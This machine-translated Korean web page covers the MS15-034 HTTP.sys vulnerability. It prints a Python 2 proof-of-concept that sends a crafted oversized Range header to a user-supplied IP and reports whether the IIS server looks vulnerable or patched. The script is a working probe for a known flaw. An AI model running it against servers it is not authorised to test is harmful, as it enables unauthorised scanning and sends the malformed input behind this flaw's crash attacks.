HTTP.sys 원격 실행 코드 빈틈
공식 문서:https://technet.microsoft.com/zh-cn/library/security/MS15-034
POC(python2):
1 #!/usr/bin/env python
2 #-*-coding:utf-8-*-
3
4 import socket
5 import random
6
7 ipAddr = raw_input("Please set your target:")
8 hexAllFfff = "18446744073709551615"
9 req1 = "GET / HTTP/1.0\r
\r
"
10 req = "GET / HTTP/1.1\r
Host: stuff\r
Range: bytes=0-" + hexAllFfff + "\r
\r
"
11
12 print "[*] Audit Started"
13
14 try:
15 client_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
16 client_socket.connect((ipAddr, 80))
17 client_socket.send(req1)
18 boringResp = client_socket.recv(1024)
19 if "Microsoft" not in boringResp:
20 print "[*] Not IIS"
21 exit(0)
22 client_socket.close()
23 client_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
24 client_socket.connect((ipAddr, 80))
25 client_socket.send(req)
26 goodResp = client_socket.recv(1024)
27 if "Requested Range Not Satisfiable" in goodResp:
28 print "[!!] Looks VULN"
29 elif " The request has an invalid header name" in goodResp:
30 print "[*] Looks Patched"
31 else:
32 print "[*] Unexpected response, cannot discern patch status"
33
34 except Exception,e:
35 print e
이 내용에 흥미가 있습니까?
현재 기사가 여러분의 문제를 해결하지 못하는 경우 AI 엔진은 머신러닝 분석(스마트 모델이 방금 만들어져 부정확한 경우가 있을 수 있음)을 통해 가장 유사한 기사를 추천합니다:
다양한 언어의 JSONJSON은 Javascript 표기법을 사용하여 데이터 구조를 레이아웃하는 데이터 형식입니다. 그러나 Javascript가 코드에서 이러한 구조를 나타낼 수 있는 유일한 언어는 아닙니다. 저는 일반적으로 '객체'{}...
텍스트를 자유롭게 공유하거나 복사할 수 있습니다.하지만 이 문서의 URL은 참조 URL로 남겨 두십시오.
CC BY-SA 2.5, CC BY-SA 3.0 및 CC BY-SA 4.0에 따라 라이센스가 부여됩니다.